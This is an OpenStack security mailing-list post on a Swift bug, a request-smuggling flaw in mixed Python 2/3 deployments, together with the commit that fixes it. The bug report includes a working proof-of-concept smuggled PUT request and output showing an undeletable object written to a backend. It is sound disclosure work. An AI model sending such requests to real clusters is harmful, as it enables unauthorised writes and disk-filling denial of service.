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[Openstack-security] [Bug 1840507] Re: Mixed py2/py3 environment allows authed users to write arbitrary data to the cluster


Reviewed:  https://review.opendev.org/684041
Committed: https://git.openstack.org/cgit/openstack/swift/commit/?id=bf9346d88de2aeb06da3b2cde62ffa6200936367
Submitter: Zuul
Branch:    master

commit bf9346d88de2aeb06da3b2cde62ffa6200936367
Author: Tim Burke <tim.burke at gmail.com>
Date:   Thu Aug 15 14:33:06 2019 -0700

    Fix some request-smuggling vectors on py3
    
    A Python 3 bug causes us to abort header parsing in some cases. We
    mostly worked around that in the related change, but that was *after*
    eventlet used the parsed headers to determine things like message
    framing. As a result, a client sending a malformed request (for example,
    sending both Content-Length *and* Transfer-Encoding: chunked headers)
    might have that request parsed properly and authorized by a proxy-server
    running Python 2, but the proxy-to-backend request could get misparsed
    if the backend is running Python 3. As a result, the single client
    request could be interpretted as multiple requests by an object server,
    only the first of which was properly authorized at the proxy.
    
    Now, after we find and parse additional headers that weren't parsed by
    Python, fix up eventlet's wsgi.input to reflect the message framing we
    expect given the complete set of headers. As an added precaution, if the
    client included Transfer-Encoding: chunked *and* a Content-Length,
    ensure that the Content-Length is not forwarded to the backend.
    
    Change-Id: I70c125df70b2a703de44662adc66f740cc79c7a9
    Related-Change: I0f03c211f35a9a49e047a5718a9907b515ca88d7
    Closes-Bug: 1840507


** Changed in: swift
       Status: New => Fix Released

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https://bugs.launchpad.net/bugs/1840507

Title:
  Mixed py2/py3 environment allows authed users to write arbitrary data
  to the cluster

Status in OpenStack Security Advisory:
  Won't Fix
Status in OpenStack Object Storage (swift):
  Fix Released

Bug description:
  Python 3 doesn't parse headers the same way as python 2 [1]. We
  attempt to address this failing [2], but since we're doing it at the
  application level, eventlet can still get confused about what should
  and should not be the request body.

  Consider a client request like

    PUT /v1/AUTH_test/c/o HTTP/1.1
    Host: saio:8080
    Content-Length: 4
    Connection: close
    X-Object-Meta-x-ð??´: ð???
    X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
    Transfer-Encoding: chunked

    aa
    PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
    Content-Length: 4
    X-Timestamp: 9999999999.99999_ffffffffffffffff
    Content-Type: text/evil
    X-Backend-Storage-Policy-Index: 1

    evil
    0

  A python 2 proxy-server will auth the user, add a bunch more headers,
  and send a request on to the object-servers like

    PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
    Accept-Encoding: identity
    Expect: 100-continue
    X-Container-Device: sdb2
    Content-Length: 4
    X-Object-Meta-X-ð??´: ð???
    Connection: close
    X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
    Content-Type: application/octet-stream
    X-Backend-Storage-Policy-Index: 1
    X-Timestamp: 1565985475.83685
    X-Container-Host: 127.0.0.1:6021
    X-Container-Partition: 61
    Host: saio:8080
    User-Agent: proxy-server 3752
    Referer: PUT http://saio:8080/v1/AUTH_test/c/o
    Transfer-Encoding: chunked
    X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
    X-Backend-Clean-Expiring-Object-Queue: f

  (Note that the exact order of the headers will vary but is
  significant; the above was obtained on my machine with
  PYTHONHASHSEED=1.)

  On a python 3 object-server, eventlet will only have seen the headers
  up to (and not including, though that doesn't really matter) the palm
  tree. Significantly, it sees `Content-Length: 4` (which, per the spec
  [3], the proxy-server ignored) and doesn't see either of `Connection:
  close` or `Transfer-Encoding: chunked`. The *application* gets all of
  the headers, though, so it responds

    HTTP/1.1 100 Continue

  and the proxy sends the body:

    aa
    PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
    Content-Length: 4
    X-Timestamp: 9999999999.99999_ffffffffffffffff
    Content-Type: text/evil
    X-Backend-Storage-Policy-Index: 1

    evil
    0

  Since eventlet thinks the request body is only four bytes, swift
  writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the
  `Connection: close` header, it looks for and processes more requests
  on the socket, and swift writes a second object:

    $ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
    Path: /DUDE_u/r/pwned
      Account: DUDE_u
      Container: r
      Object: pwned
      Object hash: b05097e51f8700a3f5a29d93eb2941f2
    Content-Type: text/evil
    Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
    System Metadata:
      No metadata found
    Transient System Metadata:
      No metadata found
    User Metadata:
      No metadata found
    Other Metadata:
      No metadata found
    ETag: 4034a346ccee15292d823416f7510a2f (valid)
    Content-Length: 4 (valid)
    Partition	705
    Hash     	b05097e51f8700a3f5a29d93eb2941f2
    ...

  There are a few things worth noting at this point:

  1. This was for a replicated policy with encryption not enabled.
     Having encryption enabled would mitigate this as the attack
     payload would be encrypted; using an erasure-coded policy would
     complicate the attack, but I believe most EC schemes would still
     be vulnerable.
  2. An attacker would need to know (or be able to guess) a device
     name (such as "sdb1" above) used by one of the backend nodes.
  3. Swift doesn't know how to delete this data -- the X-Timestamp
     used was the maximum valid value, so no tombstone can be
     written over it [4].
  4. The account and container may not actually exist; it doesn't
     really matter as no container update is sent. As a result, the
     data written cannot easily be found or tracked.
  5. A small payload was used for the demonstration, but it should
     be fairly trivial to craft a larger one; this has potential as
     a DOS attack on a cluster by filling its disks.

  The fix should involve at least things: First, after re-parsing
  headers, servers should make appropriate adjustments to
  environ['wsgi.input'] to ensure that it has all relevant information
  about the request body. Second, the proxy should not include a
  Content-Length header when sending a chunk-encoded request to the
  backend.

  [1] https://bugs.python.org/issue37093
  [2] https://github.com/openstack/swift/commit/76fde8926
  [3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
  [4] https://github.com/openstack/swift/commit/f581fccf7

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